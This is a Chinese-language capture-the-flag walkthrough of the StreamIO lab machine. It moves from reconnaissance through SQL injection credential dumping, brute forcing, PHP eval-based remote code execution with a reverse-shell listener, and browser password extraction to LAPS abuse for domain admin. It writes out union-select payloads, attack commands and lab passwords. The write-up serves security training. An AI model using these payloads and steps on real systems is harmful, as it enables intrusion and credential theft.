域渗透实战之StreamIO
字数 1729 2025-08-24 07:48:33
域渗透实战之StreamIO教学文档
1. 信息收集阶段
1.1 端口扫描与服务识别
使用nmap进行端口扫描,发现19个开放TCP端口,关键服务包括:
- DNS (53)
- Kerberos (88)
- LDAP (389)
- SMB (445)
- RPC (135)
- Netbios (139)
- HTTPS (443)
443端口的TLS证书显示两个DNS名称:
- streamIO.htb
- watch.streamIO.htb
1.2 子域名枚举
使用wfuzz工具进行子域名枚举,发现:
- 主域名:streamIO.htb
- 子域名:watch.streamIO.htb
1.3 SMB服务爆破
使用crackmapexec工具对SMB服务进行爆破:
crackmapexec smb <target_ip>
1.4 Web应用信息收集
访问80端口发现winserver服务,访问HTTPS服务发现:
- 联系页面,提交表单后提示"在电子邮件中寻找回复"
- 注册功能可用但登录功能存在问题
1.5 目录爆破
使用feroxbuster进行目录爆破:
feroxbuster -u https://streamio.htb -x php
发现watch.streamIO.htb子域名下有:
- 常见问题解答页面
- 订阅表格(可提交但恶意payload会被WAF拦截)
2. 漏洞利用阶段
2.1 SQL注入漏洞
在search.php页面发现SQL注入点:
- 搜索功能过滤电影结果
- 存在WAF拦截关键字
手工注入测试:
- 测试基础注入:
test' union select 1,2,3,4,5,6;-- -
- 获取数据库信息:
u' union select 1,@@version,3,4,5,6 --
- 获取表信息:
u' union select 1,table_name,3,4,5,6 from information_schema.tables --
- 获取用户表列信息:
u' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='users' --
- 获取用户凭据:
u' union select 1,concat(username,':',password),3,4,5,6 from users --
2.2 密码破解
使用hashcat破解获取的哈希:
hashcat -m <hash_type> <hash_file> <wordlist>
2.3 用户枚举与认证
使用hydra进行用户枚举:
hydra -L users.txt -p passwords.txt <target_ip> https-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
发现有效用户:
- 用户名:yoshihide
- 密码:66boysandgirls..
3. 权限提升阶段
3.1 后台功能分析
登录后台后发现有4个功能点,使用wfuzz枚举参数:
wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: PHPSESSID=<session_id>" --hh 1678
发现/debug目录和master.php文件。
3.2 源码获取与分析
使用PHP过滤器获取master.php源码:
curl "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php"
源码关键点:
- 包含检查:
if(!defined('included')) die("Only accessable through includes");
- 危险功能:
if(isset($_POST['include'])){
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR");
}
3.3 远程代码执行
构造payload利用include参数执行命令:
- 本地开启HTTP服务
- 发送包含远程文件的POST请求
- 建立反向shell连接:
rlwrap -cAr nc -lnvp 443
成功获取初始shell。
4. 横向移动阶段
4.1 主机信息收集
在系统中发现:
- Firefox配置文件
- 数据库连接信息:
- 用户:db_admin
- 密码:B1@hx31234567890
- 数据库:streamio_backup
4.2 数据库利用
使用sqlcmd连接数据库:
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "<query>"
4.3 密码爆破与WinRM连接
使用crackmapexec爆破用户密码:
crackmapexec smb <target_ip> -u users.txt -p passwords.txt
发现用户nikk37的密码有效,使用evil-winrm连接:
evil-winrm -u nikk37 -p '<password>' -i <target_ip>
获取user.txt。
5. 域渗透阶段
5.1 Firefox密码提取
使用firepwd工具提取Firefox保存的密码:
./firepwd.py
5.2 权限检测
使用crackmapexec检测用户权限:
crackmapexec ldap <target_ip> -u <user> -p <password> --kdcHost <domain_controller> --users
发现JDgodd用户有特殊权限。
5.3 域内信息收集
使用BloodHound.py收集域信息:
bloodhound-python -d streamio.htb -u JDgodd -p <password> -ns <dc_ip> -c all
分析发现:
- JDgodd对Core Staff组有WriteOwner权限
- Core Staff组对DC计算机对象有ReadLAPSPassword权限
5.4 权限提升
- 上传PowerView.ps1到C:\programdata
- 导入JDgodd凭证对象
- 将JDgodd添加到Core Staff组
提取LAPS密码:
Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred
或使用crackmapexec:
crackmapexec ldap <dc_ip> -u JDgodd -p <password> --laps
5.5 获取域管理员权限
使用evil-winrm以管理员连接:
evil-winrm -u administrator -p '8M[&tV4#!j$k05' -i <dc_ip>
获取root.txt完成渗透。
6. 总结
本次渗透测试流程:
- 信息收集:端口扫描、子域名枚举、目录爆破
- 漏洞利用:SQL注入绕过WAF、密码破解
- 初始访问:通过Web应用漏洞获取shell
- 横向移动:数据库利用、密码提取、WinRM连接
- 域渗透:BloodHound分析、权限提升、LAPS密码提取
- 最终目标:获取域管理员权限和root.txt
关键点:
- SQL注入绕过WAF技术
- 文件包含导致的RCE
- Firefox密码提取
- BloodHound域分析
- LAPS密码利用